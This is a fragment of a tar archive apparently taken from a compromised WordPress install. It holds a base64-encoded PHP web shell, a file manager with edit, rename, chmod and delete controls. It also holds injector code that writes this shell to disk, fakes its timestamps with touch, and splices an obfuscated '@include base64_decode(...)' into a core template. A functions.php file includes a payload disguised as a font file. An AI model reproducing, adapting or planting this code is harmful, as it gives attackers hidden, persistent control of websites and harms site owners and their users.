zRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @touch($jue_jiang_404_path, filectime($file_general_template_path)); @chmod($jue_jiang_404_path, 0444); } $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg=="); preg_match_all("/{$pma}/i",$general_template_code,$pr); $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)]; $jj404_b64_path = base64_encode($jue_jiang_404_path); $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code); @chmod($file_general_template_path, 0644); @file_put_contents($file_general_template_path,$new_general_template); @touch($file_general_template_path, filectime($file_general_template_path)); } comment.php 0000644 00000000000 14774427671 0006730 0 ustar 00 cron.php 0000644 00000000000 14774427671 0006227 0 ustar 00 category.php 0000644 00000000000 14774427671 0007103 0 ustar 00 load.php 0000644 00000000000 14774427671 0006205 0 ustar 00 media.php 0000644 00000000000 14774427671 0006345 0 ustar 00 rest-api.php 0000644 00000000000 14774427671 0007012 0 ustar 00 functions.php 0000444 00000000227 14774427671 0007307 0 ustar 00 <?php @include base64_decode("L3Zhci93d3cvYXhvbG90bC9kYXRhL3d3dy9rcnltLmF4b2xvdGxzLnJ1L3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmUvZGFzaGljb25zLnR0Zg==");?>